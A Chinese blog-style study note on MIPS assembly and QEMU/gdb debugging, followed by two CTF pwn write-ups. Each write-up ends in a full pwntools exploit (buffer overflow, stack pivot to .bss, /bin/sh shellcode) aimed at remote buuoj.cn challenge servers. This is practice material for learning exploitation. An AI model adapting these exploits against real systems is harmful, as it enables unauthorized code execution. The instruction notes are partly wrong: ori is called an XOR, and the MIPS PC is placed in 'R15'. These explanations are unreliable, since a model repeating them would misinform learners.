mips汇编学习
mips汇编学习
主要寄存器
$sp 表示栈顶
$a0-$a3 参数寄存器 ,用于存放参数(这4个寄存器存放前4个参数,超过4个就用栈去存)
指令
addiu
是对寄存器进行加法运算的指令(可以加上一个负数)并将结果存放到另一个寄存器中
格式:
addiu $d, $s, imm
上面这行代码的意思就是将$s中值加上imm放到$d中
addiu
一般情况下用来开辟栈帧
addiu $sp, -0x20
上面代码的意思就是将$sp寄存器的值减去0x20
sw
作用是将寄存器中值放到内存中
格式
sw $s, offset($base)
大概意思就是将$s寄存器中值放到$base+offset处的内存中
一般和数组的赋值有关
sw $ra, 0x18+var_s4($sp)
这个的意思就是将$ra寄存器中值放到$sp中值加0x18+var_s4处
move
这个指令和x86中的mov一样就是将一个寄存器中的值复制到另一个寄存器中、
格式
move $d, $s
将$s中值赋值到$d中
move $t0, $s0 # 将 $s0 中的值复制到 $t0 中
move $s0, $zero # 清空 $s0 的值,相当于 $s0 = 0 $zero一直为零
jal
和x86中call类似作用就是跳转到一个子程序中(绝对寻址,范围256MB(2的26次方×4))
jal label
其中 label 是跳转目标地址的标签,它必须在程序中定义。这个指令将当前指令的地址加 8 存储到寄存器 $ra 中,然后跳转到 label 标签所在的地址开始执行子程序。
在子程序中,可以使用 jr $ra 指令返回到 jal 调用指令的下一条指令。例如,下面是一个简单的示例程序:
main:
jal foo
addi $s0, $s0, 1
jr $ra
foo:
addi $s0, $s0, 2
jr $ra
bal
和jal
的区别就是它是相对寻址(范围128KB(2的16次方 ×4))相对寻址以程序计数器PC的当前值(R15中的值)为基地址
故jal主要用于函数调用和子程序的跳转
bal主要用于条件分支语句
当然,两者的使用场景并不是绝对固定的
ori
用于执行异或操作
ori $d, $s, imm
就是将imm与$s中数值异或后的结果放到$d中
lw
用于从内存中加载一个字(32 位)到寄存器中。它的格式如下:
lw $t, offset($s)
大概意思就是从$s+offset处读取一个字(四个字节)到$t中
li
并不是一个标准指令,是一个伪指令,作用是将一个立即数(32位)加载到一个寄存器中
li $t, imm
就是将imm放到$t中
通常翻译为下面两条指令(之所以这样是因为在mips中的立即数是16位的)
lui $t0, hi(imm) # 将 16 位的立即数 0 加载到 $t0 的高 16 位
ori $t0, $t0, lo(imm) # 将 16 位的立即数 100 加载到 $t0 的低 16 位
la
并不是一个标准的指令,而是一个伪指令,作用是将一个数据的地址加载到一个寄存器中
la $d, label //label是一个标签或者是符号(它指向一个地址)
调试mips程序
直接调试
1、在一个终端 qemu-mipsel -g 12345 ./bomb
2、另起一个终端
gdb-multiarch ./bomb (gdb) set arch mips (gdb) set endian little (gdb) target remote localhost:12345
当然也可以写一个mips.sh脚本,做法就是先用
在一个终端 qemu-mipsel -g 12345 ./bomb
在另一个一个终端中依次输入 gdb-multiarch ,source mips.sh
set architecture mips
set endian little
symbol-file ./pwn2
target remote localhost:12345
使用pwntools调试
就是在python脚本中加一个
p=process(["qemu-mipsel","./pwn2"]) #直接本地打没有调试
p=remote("node4.buuoj.cn",28638) #远程
p=process(["qemu-mipsel", "-g", "1234","./pwn2"]) #本地打加调试
使用顺序就是 先用python脚本 在另起一个终端依次输入 gdb-multiarch , source mips.sh
题目
axb_2019_mips
不知道为啥用checksec看不到保护
在调试时可能遇见未找到库的报错,一般是找不到路径,手动添加一个软连接就行
qemu-mipsel: Could not open '/lib/ld-uClibc.so.0': No such file or directory
流程
1、找到库位置
sudo ln -s /home/zikh/Desktop/mipsel-linux-uclibc/lib/ld-uClibc.so.0 /lib/
2、创建链接
sudo ln -s /home/zikh/Desktop/mipsel-linux-uclibc/lib/ld-uClibc.so.0 /lib/
题目分析
main函数
就有一个可以利用%s泄露地址,当时本地可以泄露处stack地址,远程确实一个程序地址(因此不可以打一个栈上的shellcode)
vuln函数
第一次做mips架构的题有点不太熟悉,但还是还好,因为有x86的经验
大概思路就是利用溢出控制返回地址为此处,因为可以此时会将距离v1数组0x38处的值赋给$v0,进而控制read的第二个参数,再打一个栈迁移执行一下shellcode就行了
exp
from tools import *
context(arch='mips', os='linux', endian='little', word_size=32,log_level='debug')
# p=process(["qemu-mipsel","./pwn2"])
p=remote("node4.buuoj.cn",28638)
# p=process(["qemu-mipsel", "-g", "1234","./pwn2"])
offset=0x14
bss=0x410ba0
payload=p32(0x410B79)
p.sendafter("What's your name: \n",payload)
sleep(1)
shellcode = asm(shellcraft.mips.linux.sh(),arch='mips')
payload=b"b"*0x20+p32(bss)+p32(0x4007E4)
pause()
p.send(payload)
pause()
payload=b"a"*0x24+p32(0x410be0)+shellcode
p.send(payload)
p.interactive()
ycb_2020_mipspwn
题目分析
和上面的一样,只不过这次用的是手写shellcode
exp
from tools import *
context(arch='mips',os='linux',endian='little',word_size=32,log_level='debug')
#p=process(["qemu-mipsel","./pwn2"])
#p=process(["qemu-mipsel","-g","1234","./pwn2"])
p=remote('node4.buuoj.cn',25765)
bss=0x4115F0
p.sendlineafter('Warrior,leave your name here:\n','trunk')
p.sendlineafter('Your choice: ',str(7))
payload=b'a'*0x38+p32(bss)+p32(0x400F54)
p.sendlineafter('Write down your feeling:\n',payload)
pause()
shellcode=shellcode_store('mips32_little_shell')
payload=shellcode.ljust(0x3c,b'\x00')+p32(bss+0x18)
p.send(payload)
p.interactive()